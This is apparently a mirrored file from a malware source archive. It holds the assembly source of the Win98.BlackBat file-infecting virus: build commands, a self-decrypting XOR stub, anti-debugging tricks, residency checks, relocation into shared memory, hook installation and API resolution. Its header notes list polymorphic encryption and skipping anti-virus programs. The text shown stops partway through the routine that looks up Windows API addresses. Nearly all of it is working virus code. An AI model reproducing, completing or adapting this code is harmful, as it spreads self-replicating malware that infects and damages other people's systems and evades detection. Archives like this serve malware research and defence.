mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 15:05:27 +00:00
1937 lines
73 KiB
NASM
1937 lines
73 KiB
NASM
|
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | \|/ Win98.BlackBat | |
|
||
|
;| | (. .) ================ | |
|
||
|
;| | ( | ) | |
|
||
|
;| | ( v ) (c) 1999, Rohitab Batra | |
|
||
|
;| | __| |__ <sourcecode@rohitab.com> | |
|
||
|
;| | // \\ ICQ: 11153794 | |
|
||
|
;| | // ^ | |
|
||
|
;| | ((====> http://www.rohitab.com | |
|
||
|
;| | | |
|
||
|
;| | Discussion Forum: http://www.rohitab.com/discuss/ | |
|
||
|
;| | Mailing List: http://www.rohitab.com/mlist/ | |
|
||
|
;| | | |
|
||
|
;| | | |
|
||
|
;| |"Blessed is he who expects nothing, for he shall not be disappointed" | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;
|
||
|
;Compiling (Turbo Assembler)
|
||
|
; c:\>tasm32 /ml /m3 /t /w2 /s /p /dDEBUG=1 BlackBat
|
||
|
;
|
||
|
;Setting DEBUG=0 will compile the virus in Release mode. In this mode, an error
|
||
|
;message will be displayed, so that you don't accidently compile in release mode.
|
||
|
;In Release mode, the size of the Virus will be smaller, and .EXE files will be
|
||
|
;infected, instead of .XYZ files. In Debug mode, the file NOTEPAD.EXE, if found
|
||
|
;in the current directory, will be infected.
|
||
|
;
|
||
|
;Linking (Turbo Linker)
|
||
|
; c:\>tlink32 /x /Tpe /aa /c BlackBat,BlackBat,,IMPORT32.LIB
|
||
|
;
|
||
|
;Making Code Section Writable (EditBin from SDK, or any other utility)
|
||
|
; c:\>editbin /SECTION:CODE,w BlackBat.EXE
|
||
|
;
|
||
|
;***** Info About the Virus *****
|
||
|
;* If WIN.SYS is found in the root directory, the virus does not infect any file,
|
||
|
; and does not become resident.
|
||
|
;* File time and attributes are restored after infection
|
||
|
;* Encrypted with a random key
|
||
|
;* Doesn't infect anti-virus files, NAV, TBAV, SCAN, CLEAN, F-PROT
|
||
|
;* Anti-Debugging Code
|
||
|
;* Structured Exception Handling
|
||
|
;* Decryption engine is Polymorphic
|
||
|
;
|
||
|
;***** TODO *****
|
||
|
;1. Dont infect files with todays date
|
||
|
;2. Draw Random Bats on the Screen (Use CreateCompatibleBitmap & Get/Set Pixel)
|
||
|
;3. Doesn't infect files in directories with long file names
|
||
|
|
||
|
.386p
|
||
|
.model flat ,stdcall
|
||
|
EXTRN ExitProcess:PROC ;Any Imported Fn, so that the first
|
||
|
;generation copy executes without crashing
|
||
|
.data
|
||
|
DB ? ;Required for TASM, Else will Crash !!??
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | @MESSAGE_BOX Macro | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> Displays a MessageBox with the given Message. Note the caption of
|
||
|
; the MessageBox is the same as the Message
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> szMessage: Message to be displayed
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> None
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> ALL
|
||
|
;___________________________
|
||
|
@MESSAGE_BOX MACRO szMessage
|
||
|
IF DEBUG
|
||
|
@DELTA esi
|
||
|
mov eax, esi
|
||
|
add eax, offset szMessage
|
||
|
call esi + MessageBoxA, 0, eax, eax, MB_OK OR MB_ICONINFORMATION
|
||
|
ENDIF
|
||
|
ENDM
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | @DEFINE_API Macro | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> Defines an API that will be called by the Virus. The macro is expanded
|
||
|
; to the following, if APIName is MessageBoxA:
|
||
|
; szMessageBoxA DB "MessageBoxA", 0
|
||
|
; MessageBoxA DD ?
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> APIName: API to be defined. MUST BE EXACTLY the same as exported by
|
||
|
; the DLL. e.g. MessageBoxA
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> None
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> None
|
||
|
;
|
||
|
;________________________
|
||
|
@DEFINE_API MACRO APIName
|
||
|
sz&APIName DB "&APIName", 0 ;;ASCIIZ Name of API
|
||
|
&APIName DD ? ;;Storage space for API Address
|
||
|
ENDM
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | @DELTA Macro | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> Returns the delta offset in the specified register
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> Register: register in which the value of the delta offset is copied
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> Register: Delta Offset
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> Register
|
||
|
;
|
||
|
;____________________
|
||
|
@DELTA MACRO Register
|
||
|
LOCAL GetIP
|
||
|
call GetIP ;;This will push EIP on the stack
|
||
|
GetIP:
|
||
|
pop Register ;;get EIP of current instruction
|
||
|
sub Register, offset GetIP ;;Delta Offset
|
||
|
ENDM
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | @OFFSET Macro | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> Returns the true offset of the specified address. Unlike the offset
|
||
|
; keyword, which calculates the address at assembly time, this macro
|
||
|
; calculates the address at run-time. This is used to get the correct
|
||
|
; offset when the virus has been relocated. Instead of using instructions
|
||
|
; like "mov esi, offset szFilename", use "@OFFSET esi, szFilename"
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> Register: register in which the offset is to be returned
|
||
|
; -> Expression: expression whose offset is required
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> Register: Correct offset of Expression
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> Register
|
||
|
;
|
||
|
;_________________________________
|
||
|
@OFFSET MACRO Register, Expression
|
||
|
LOCAL GetIP
|
||
|
call GetIP ;;This will push EIP on the stack
|
||
|
GetIP:
|
||
|
pop Register ;;get EIP of current instruction
|
||
|
add Register, offset Expression - offset GetIP ;;True offset
|
||
|
ENDM
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | @GET_API_ADDRESS Macro | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> Gets the address of the API, and stores it
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> APIName: API whose address is required
|
||
|
; -> ESI: Delta Offset
|
||
|
; -> EBX: Address of GetProcAddress(...)
|
||
|
; -> ECX: Base address of DLL which exports the API
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> None
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> All Except ESI, EBX and ECX
|
||
|
;
|
||
|
;_____________________________
|
||
|
@GET_API_ADDRESS MACRO APIName
|
||
|
push ebx ;;Save Addr of GetProcAddress(...)
|
||
|
push ecx ;;Save Image Base
|
||
|
|
||
|
mov eax, esi
|
||
|
add eax, offset sz&APIName ;;API whose address is required
|
||
|
call ebx, ecx, eax ;;GetProcAddress(...)
|
||
|
|
||
|
pop ecx ;;Restore Image Base
|
||
|
pop ebx ;;Restore Addr of GetProcAddress(...)
|
||
|
|
||
|
mov [esi + APIName], eax ;;Save API Address
|
||
|
ENDM
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | @TRY_BEGIN, @TRY_EXCEPT and @TRY_END Exception Handling Macros | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> @TRY_BEGIN: This macro is used to install the exception handler. The
|
||
|
; code that follows this is the one that is checked for
|
||
|
; exceptions
|
||
|
; @TRY_EXCEPT: The code that follows this is executed if an exception
|
||
|
; occurs.
|
||
|
; @TRY_END: This is used to mark the end of the TRY block
|
||
|
;
|
||
|
; Example
|
||
|
; @TRY_BEGIN ZeroMemory
|
||
|
; <CODE1: Code to check for exceptions goes here>
|
||
|
; @TRY_CATCH ZeroMemory
|
||
|
; <CODE2: Gets executed if an exception occurs in CODE1>
|
||
|
; @TRY_END ZeroMemory
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> Handler: Name of the exception handler. MUST BE UNIQUE throughout the
|
||
|
; program
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> None
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> If an exception occurs, all registers are restored to the state before
|
||
|
; the @TRY_BEGIN block, otherwise, no registers are modified
|
||
|
;_______________________
|
||
|
@TRY_BEGIN MACRO Handler
|
||
|
pushad ;;Save Current State
|
||
|
@OFFSET esi, Handler ;;Address of New Exception Handler
|
||
|
push esi
|
||
|
push dword ptr fs:[0] ;;Save Old Exception Handler
|
||
|
mov dword ptr fs:[0], esp ;;Install New Handler
|
||
|
ENDM
|
||
|
|
||
|
@TRY_EXCEPT MACRO Handler
|
||
|
jmp NoException&Handler ;;No Exception Occured, so jump over
|
||
|
Handler:
|
||
|
mov esp, [esp + 8] ;;Exception Occured, Get old ESP
|
||
|
pop dword ptr fs:[0] ;;Restore Old Exception Handler
|
||
|
add esp, 4 ;;ESP value before SEH was set
|
||
|
popad ;;Restore Old State
|
||
|
ENDM
|
||
|
|
||
|
@TRY_END MACRO Handler
|
||
|
jmp ExceptionHandled&Handler ;;Exception was handled by @TRY_EXCEPT
|
||
|
NoException&Handler: ;;No Exception Occured
|
||
|
pop dword ptr fs:[0] ;;Restore Old Exception Handler
|
||
|
add esp, 32 + 4 ;;ESP value before SEH was set. 32 for pushad and ...
|
||
|
;;...4 for push offset Handler. (No Restore State)
|
||
|
ExceptionHandled&Handler: ;;Exception has been handled, or no exception occured
|
||
|
ENDM
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | @CALL_INT21h Macro | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> Makes an INT 21h Call in Protected Mode
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> Service: INT 21h Service Number
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> None
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> Depends on Service called
|
||
|
;_________________________
|
||
|
@CALL_INT21h MACRO Service
|
||
|
mov eax, Service ;;INT 21h Service
|
||
|
@DELTA esi
|
||
|
call esi + VxDCall, VWIN32_Int21Dispatch, eax, ecx
|
||
|
ENDM
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | Constants | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;Win32 Constants
|
||
|
PAGE_READWRITE EQU 00000004h
|
||
|
IMAGE_READ_WRITE_EXECUTE EQU 0E0000000h
|
||
|
IMAGE_SCN_MEM_SHARED EQU 10000000h ;Section is Sharable
|
||
|
IMAGE_FILE_DLL EQU 2000h ;File is a DLL
|
||
|
FILE_MAP_ALL_ACCESS EQU 000F001Fh
|
||
|
IMAGE_SIZEOF_NT_SIGNATURE EQU 04h ;PE00 = 0x00004550, 4 bytes
|
||
|
NULL EQU 0
|
||
|
TRUE EQU 1
|
||
|
FALSE EQU 0
|
||
|
|
||
|
;File Access
|
||
|
GENERIC_READ EQU 80000000h ;Access Mode Read Only
|
||
|
GENERIC_WRITE EQU 40000000h ;Access Mode Write Only
|
||
|
FILE_SHARE_READ EQU 00000001h ;Open Share, Deny Write
|
||
|
FILE_SHARE_WRITE EQU 00000002h ;Open Share, Deny Read
|
||
|
INVALID_HANDLE_VALUE EQU -1
|
||
|
ERROR_ALREADY_EXISTS EQU 000000B7h
|
||
|
FILE_ATTRIBUTE_NORMAL EQU 00000080h
|
||
|
OPEN_EXISTING EQU 3 ;Fail if not found
|
||
|
|
||
|
;Shutdown Options
|
||
|
EWX_FORCE EQU 4
|
||
|
EWX_SHUTDOWN EQU 1
|
||
|
|
||
|
;MessageBox
|
||
|
MB_OK EQU 00000000h
|
||
|
MB_YESNO EQU 00000004h
|
||
|
MB_ICONINFORMATION EQU 00000040h
|
||
|
|
||
|
;Virus_Constants
|
||
|
@BREAK EQU int 3
|
||
|
;MAX_RUN_TIME EQU 5*60*60*1000 ;Time we allow windows to run, 5hrs
|
||
|
VIRUS_SIGNATURE EQU 08121975h ;My B'day, 8 Dec 1975
|
||
|
RESIDENCY_CHECK_SERVICE EQU 0AD75h ;Used to check if Virus is resident
|
||
|
RESIDENCY_SUCCESS EQU 0812h ;Value returned if Virus is resident
|
||
|
|
||
|
;VxD Stuff
|
||
|
VWIN32_Int21Dispatch EQU 002A0010h
|
||
|
LFN_OPEN_FILE_EXTENDED EQU 716Ch
|
||
|
PC_WRITEABLE EQU 00020000h
|
||
|
PC_USER EQU 00040000h
|
||
|
PR_SHARED EQU 80060000h
|
||
|
PC_PRESENT EQU 80000000h
|
||
|
PC_FIXED EQU 00000008h
|
||
|
PD_ZEROINIT EQU 00000001h
|
||
|
SHARED_MEMORY EQU 80000000h ;Anything above this is shared
|
||
|
PageReserve EQU 00010000h
|
||
|
PageCommit EQU 00010001h
|
||
|
PAGE_SIZE EQU 4096 ;Size of a Page in Win9x
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | Structures | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
FILETIME STRUC
|
||
|
FT_dwLowDateTime DD ?
|
||
|
FT_dwHighDateTime DD ?
|
||
|
FILETIME ENDS
|
||
|
|
||
|
IMAGE_DOS_HEADER STRUC ;DOS .EXE header
|
||
|
IDH_e_magic DW ? ;Magic number
|
||
|
IDH_e_cblp DW ? ;Bytes on last page of file
|
||
|
IDH_e_cp DW ? ;Pages in file
|
||
|
IDH_e_crlc DW ? ;Relocations
|
||
|
IDH_e_cparhdr DW ? ;Size of header in paragraphs
|
||
|
IDH_e_minalloc DW ? ;Minimum extra paragraphs needed
|
||
|
IDH_e_maxalloc DW ? ;Maximum extra paragraphs needed
|
||
|
IDH_e_ss DW ? ;Initial (relative) SS value
|
||
|
IDH_e_sp DW ? ;Initial SP value
|
||
|
IDH_e_csum DW ? ;Checksum
|
||
|
IDH_e_ip DW ? ;Initial IP value
|
||
|
IDH_e_cs DW ? ;Initial (relative) CS value
|
||
|
IDH_e_lfarlc DW ? ;File address of relocation table
|
||
|
IDH_e_ovno DW ? ;Overlay number
|
||
|
IDH_e_res DW 4 DUP (?) ;Reserved words
|
||
|
IDH_e_oemid DW ? ;OEM identifier (for IDH_e_oeminfo)
|
||
|
IDH_e_oeminfo DW ? ;OEM information; IDH_e_oemid specific
|
||
|
IDH_e_res2 DW 10 DUP (?) ;Reserved words
|
||
|
IDH_e_lfanew DD ? ;File address of new exe header
|
||
|
IMAGE_DOS_HEADER ENDS
|
||
|
|
||
|
IMAGE_FILE_HEADER STRUC
|
||
|
IFH_Machine DW ? ;System that the binary is intended to run on
|
||
|
IFH_NumberOfSections DW ? ;Number of sections that follow headers
|
||
|
IFH_TimeDateStamp DD ? ;Time/Date the file was created on
|
||
|
IFH_PointerToSymbolTable DD ? ;Used for debugging information
|
||
|
IFH_NumberOfSymbols DD ? ;Used for debugging information
|
||
|
IFH_SizeOfOptionalHeader DW ? ;sizof(IMAGE_OPTIONAL_HEADER)
|
||
|
IFH_Characteristics DW ? ;Flags used mostly for libraries
|
||
|
IMAGE_FILE_HEADER ENDS
|
||
|
|
||
|
IMAGE_DATA_DIRECTORY STRUC
|
||
|
IDD_VirtualAddress DD ?
|
||
|
IDD_Size DD ?
|
||
|
IMAGE_DATA_DIRECTORY ENDS
|
||
|
|
||
|
IMAGE_OPTIONAL_HEADER STRUC
|
||
|
;Standard Fields
|
||
|
IOH_Magic DW ? ;Mostly 0x010B
|
||
|
IOH_MajorLinkerVersion DB ? ;Version of the linker used
|
||
|
IOH_MinorLinkerVersion DB ? ;Version of the linker used
|
||
|
IOH_SizeOfCode DD ? ;Size of executable code
|
||
|
IOH_SizeOfInitializedData DD ? ;Size of Data Segment
|
||
|
IOH_SizeOfUninitializedData DD ? ;Size of bss Segment
|
||
|
IOH_AddressOfEntryPoint DD ? ;RVA of code entry point
|
||
|
IOH_BaseOfCode DD ? ;Offset to executable code
|
||
|
IOH_BaseOfData DD ? ;Offset to initialized data
|
||
|
;NT Additional Fields
|
||
|
IOH_ImageBase DD ? ;Preferred load address
|
||
|
IOH_SectionAlignment DD ? ;Alignment of Sections in RAM
|
||
|
IOH_FileAlignment DD ? ;Alignment of Sections in File
|
||
|
IOH_MajorOperatingSystemVersion DW ? ;OS Version required to run this image
|
||
|
IOH_MinorOperatingSystemVersion DW ? ;OS Version required to run this image
|
||
|
IOH_MajorImageVersion DW ? ;User specified version number
|
||
|
IOH_MinorImageVersion DW ? ;User specified version number
|
||
|
IOH_MajorSubsystemVersion DW ? ;Expected Subsystem version
|
||
|
IOH_MinorSubsystemVersion DW ? ;Expected Subsystem version
|
||
|
IOH_Win32VersionValue DD ? ;Mostly set to 0
|
||
|
IOH_SizeOfImage DD ? ;Amount of memory the image will need
|
||
|
IOH_SizeOfHeaders DD ? ;Size of DOS hdr, PE hdr and Object table
|
||
|
IOH_CheckSum DD ? ;Checksum (Used by NT to check drivers)
|
||
|
IOH_Subsystem DW ? ;Subsystem required to run this image
|
||
|
IOH_DllCharacteristics DW ? ;To decide when to call DLL's entry point
|
||
|
IOH_SizeOfStackReserve DD ? ;Size of Reserved Stack
|
||
|
IOH_SizeOfStackCommit DD ? ;Size of initially commited stack
|
||
|
IOH_SizeOfHeapReserve DD ? ;Size of local heap to reserve
|
||
|
IOH_SizeOfHeapCommit DD ? ;Amount to commit in local heap
|
||
|
IOH_LoaderFlags DD ? ;Not generally used
|
||
|
IOH_NumberOfRvaAndSizes DD ? ;Number of valid entries in DataDirectory
|
||
|
IOH_DataDirectory IMAGE_DATA_DIRECTORY 16 DUP (?)
|
||
|
IMAGE_OPTIONAL_HEADER ENDS
|
||
|
|
||
|
IMAGE_EXPORT_DIRECTORY STRUC
|
||
|
IED_Characteristics DD ? ;Currently set to 0
|
||
|
IED_TimeDateStamp DD ? ;Time/Date the export data was created
|
||
|
IED_MajorVersion DW ? ;User settable
|
||
|
IED_MinorVersion DW ?
|
||
|
IED_Name DD ? ;RVA of DLL ASCIIZ name
|
||
|
IED_Base DD ? ;First valid exported ordinal
|
||
|
IED_NumberOfFunctions DD ? ;Number of entries
|
||
|
IED_NumberOfNames DD ? ;Number of entries exported by name
|
||
|
IED_AddressOfFunctions DD ? ;RVA of export address table
|
||
|
IED_AddressOfNames DD ? ;RVA of export name table pointers
|
||
|
IED_AddressOfNameOrdinals DD ? ;RVA of export ordinals table entry
|
||
|
IMAGE_EXPORT_DIRECTORY ENDS
|
||
|
|
||
|
IMAGE_SECTION_HEADER STRUC
|
||
|
ISH_Name DB 8 DUP (?) ;NULL padded ASCII string
|
||
|
UNION
|
||
|
ISH_PhysicalAddress DD ?
|
||
|
ISH_VirtualSize DD ? ;Size that will be allocated when obj is loaded
|
||
|
ENDS
|
||
|
ISH_VirtualAddress DD ? ;RVA to section's data when loaded in RAM
|
||
|
ISH_SizeOfRawData DD ? ;Size of sections data rounded to FileAlignment
|
||
|
ISH_PointerToRawData DD ? ;Offset from files beginning to sections data
|
||
|
ISH_PointerToRelocations DD ?
|
||
|
ISH_PointerToLinenumbers DD ?
|
||
|
ISH_NumberOfRelocations DW ?
|
||
|
ISH_NumberOfLinenumbers DW ?
|
||
|
ISH_Characteristics DD ? ;Flags to decide how section should be treated
|
||
|
IMAGE_SECTION_HEADER ENDS
|
||
|
|
||
|
SYSTEMTIME STRUC
|
||
|
ST_wYear DW ?
|
||
|
ST_wMonth DW ?
|
||
|
ST_wDayOfWeek DW ?
|
||
|
ST_wDay DW ?
|
||
|
ST_wHour DW ?
|
||
|
ST_wMinute DW ?
|
||
|
ST_wSecond DW ?
|
||
|
ST_wMilliseconds DW ?
|
||
|
SYSTEMTIME ENDS
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | Virus Entry Point | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
.code
|
||
|
;Decryptor
|
||
|
StartOfVirusCode:
|
||
|
call GetDelta
|
||
|
GetDelta:
|
||
|
DB 5Eh ;pop esi
|
||
|
DB 83h ;add esi, EncryptedVirusCode - GetDelta
|
||
|
DB 0C6h
|
||
|
DB offset EncryptedVirusCode - offset GetDelta
|
||
|
DB 0B9h ;mov ecx, ENCRYPTED_SIZE
|
||
|
DD ENCRYPTED_SIZE
|
||
|
DecryptByte:
|
||
|
DB 80h ;xor byte ptr [esi], 00h
|
||
|
DB 36h
|
||
|
EncryptionKey:
|
||
|
DB 00h
|
||
|
DB 46h ;inc esi
|
||
|
DB 49h ;dec ecx
|
||
|
jnz DecryptByte
|
||
|
|
||
|
EncryptedVirusCode: ;Code from this point is encrypted
|
||
|
jmp WinMain ;Goto Main Program
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | Data Area | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
dwKernelBase EQU 0BFF70000h ;Base address of KERNEL32.DLL
|
||
|
dwUserBase DD ? ;Base address of USER32.DLL
|
||
|
szUser32DLL DB "USER32", 0 ;.DLL Extention is not required
|
||
|
|
||
|
;Host File Variables
|
||
|
hHostFile DD ? ;Handle of host file
|
||
|
hMappedFile DD ? ;Handle of mapped host file
|
||
|
lpHostFile DD ? ;Pointer to mapped host file in memory
|
||
|
ftLastAccessTime FILETIME ? ;Time the file was last accessed
|
||
|
ftLastWriteTime FILETIME ? ;Time the file was last written to
|
||
|
dwFileAttributes DD ? ;File attributes of host file
|
||
|
;Virus Variables
|
||
|
szNoInfectFileName DB "C:\WIN.SYS", 0 ;If this file exists, machine is not infected
|
||
|
|
||
|
;VxD Stuff
|
||
|
OldInt30 DB 6 DUP (0)
|
||
|
VxDCall_Busy DB ? ;Semaphore
|
||
|
szOutputFile DB "C:\VIRUS.TXT", 0
|
||
|
|
||
|
;KERNEL32 API's
|
||
|
VxDCall DD ? ;Exported by ordinal only (Ord 1)
|
||
|
@DEFINE_API GetProcAddress
|
||
|
@DEFINE_API CloseHandle
|
||
|
@DEFINE_API CreateFileA
|
||
|
@DEFINE_API CreateFileMappingA
|
||
|
@DEFINE_API GetFileAttributesA
|
||
|
@DEFINE_API GetFileSize
|
||
|
@DEFINE_API GetFileTime
|
||
|
@DEFINE_API GetLocalTime
|
||
|
@DEFINE_API GetTickCount
|
||
|
@DEFINE_API LoadLibraryA
|
||
|
@DEFINE_API MapViewOfFile
|
||
|
@DEFINE_API SetFileAttributesA
|
||
|
@DEFINE_API SetFileTime
|
||
|
@DEFINE_API UnmapViewOfFile
|
||
|
|
||
|
;USER32 API's
|
||
|
@DEFINE_API ExitWindowsEx
|
||
|
IF DEBUG
|
||
|
@DEFINE_API MessageBoxA
|
||
|
ENDIF
|
||
|
|
||
|
;DEBUG Only Stuff
|
||
|
IF DEBUG
|
||
|
szHostFileName DB "NOTEPAD.EXE",0
|
||
|
szWinMainHandler DB "Unhandled Exception in WinMain", 0
|
||
|
szPayLoad DB "Happy BirthDay :-)", 0
|
||
|
szInfected DB "This File is Infected by the BlackBat Virus", 0
|
||
|
ENDIF
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | WinMain | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
WinMain PROC
|
||
|
IFE DEBUG ;Only for Release Versions
|
||
|
cli
|
||
|
not esp ;Anti-Debug Code ...
|
||
|
not esp ;...will crash if single-stepped
|
||
|
sti
|
||
|
ENDIF
|
||
|
|
||
|
@TRY_BEGIN WinMain_Handler ;Putting code in protected block
|
||
|
call IsVirusActive
|
||
|
test eax, eax ;Virus Resident ?
|
||
|
jne End_WinMain ;Yes, return to host
|
||
|
|
||
|
;Get Addresses of all Required API's
|
||
|
call GetAPIAddresses ;Get the addresses of the other API's
|
||
|
test eax, eax ;Error occured ?
|
||
|
jz End_WinMain ;Transfer control to host
|
||
|
|
||
|
IF DEBUG
|
||
|
@MESSAGE_BOX szInfected
|
||
|
@OFFSET ebx, szHostFileName
|
||
|
call InfectFile, ebx
|
||
|
ENDIF
|
||
|
|
||
|
;Check if this Machine is to be Infected
|
||
|
call CanMachineBeInfected ;Is this my machine
|
||
|
test eax, eax
|
||
|
jz End_WinMain ;Yes, so don't infect
|
||
|
|
||
|
;Relocate Virus (Make Resident)
|
||
|
call RelocateVirus
|
||
|
or eax, eax ;Virus Relocated?
|
||
|
je End_WinMain ;No
|
||
|
|
||
|
;Jump to Relocated Virus Copy
|
||
|
@OFFSET ebx, StartOfVirusCode ;Start of Virus in Non-Relocated Copy
|
||
|
add eax, offset RelocatedVirus - offset StartOfVirusCode
|
||
|
jmp eax ;Control will go to Relocated Copy
|
||
|
|
||
|
;This part is the Relocated Copy of the Virus in Shared Memory
|
||
|
RelocatedVirus:
|
||
|
;When a file is infected, the CALL instruction at label ReturnToHost is
|
||
|
;replaced by a JMP XXXXXXXX instruction. Since the virus has been relocated,
|
||
|
;this JMP instruction will point to some invalid location. We need to modify
|
||
|
;this, so that the JMP points to the host program (which was not relocated)
|
||
|
|
||
|
;The offset of Calculate_Offset_Instruction in the non-relocated virus was
|
||
|
;saved in EBX before jumping here. Now we calculate the offset in the relocated
|
||
|
;virus (this copy).
|
||
|
|
||
|
@DELTA eax
|
||
|
mov esi, eax ;Save Delta Offset
|
||
|
add eax, offset StartOfVirusCode ;Start of Virus in Relocated Copy
|
||
|
sub eax, ebx ;Difference in offsets
|
||
|
|
||
|
;We now subtract this difference from the offset specified in the JMP
|
||
|
;instruction, and update the JMP instruction to point to the correct location
|
||
|
;in memory
|
||
|
|
||
|
add esi, offset ReturnToHost + 1 ;Point to operand of JMP instruction
|
||
|
sub [esi], eax ;Fix JMP instruction
|
||
|
|
||
|
call InstallHookProcedure
|
||
|
|
||
|
End_WinMain:
|
||
|
@TRY_EXCEPT WinMain_Handler
|
||
|
@MESSAGE_BOX szWinMainHandler
|
||
|
@TRY_END WinMain_Handler
|
||
|
|
||
|
ReturnToHost:
|
||
|
DB 0E9h, 00, 00, 00, 00 ;JMP instruction used for passing control
|
||
|
;to the host. The address of this JMP
|
||
|
;instruction is calculated at run-time
|
||
|
;ret ;Not required, since control is transfered to host
|
||
|
WinMain ENDP
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | GetAPIAddresses | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> Finds the Address of the API's to be used by the virus
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> None
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> EAX: 1, if the API addresses were found, 0 otherwise
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> All
|
||
|
;___________________
|
||
|
GetAPIAddresses PROC
|
||
|
call GetAddressOfKernelAPI, 1 ;Get Address Of GetProcAddress
|
||
|
test eax, eax ;Found Address ?
|
||
|
jz End_GetAPIAddresses ;No, Return 0
|
||
|
|
||
|
;Get addresses of all required KERNEL32 API's
|
||
|
;ESI = Delta Offset
|
||
|
;EBX = Address of GetProcAddress(...)
|
||
|
;ECX = Image Base of KERNEL32.DLL
|
||
|
@DELTA esi
|
||
|
mov ebx, eax ;Address of GetProcAddress(...)
|
||
|
mov ecx, dwKernelBase ;Base address of KERNEL32.DLL
|
||
|
@GET_API_ADDRESS CloseHandle
|
||
|
@GET_API_ADDRESS CreateFileA
|
||
|
@GET_API_ADDRESS CreateFileMappingA
|
||
|
@GET_API_ADDRESS GetFileAttributesA
|
||
|
@GET_API_ADDRESS GetFileSize
|
||
|
@GET_API_ADDRESS GetFileTime
|
||
|
@GET_API_ADDRESS GetLocalTime
|
||
|
@GET_API_ADDRESS GetTickCount
|
||
|
@GET_API_ADDRESS LoadLibraryA
|
||
|
@GET_API_ADDRESS MapViewOfFile
|
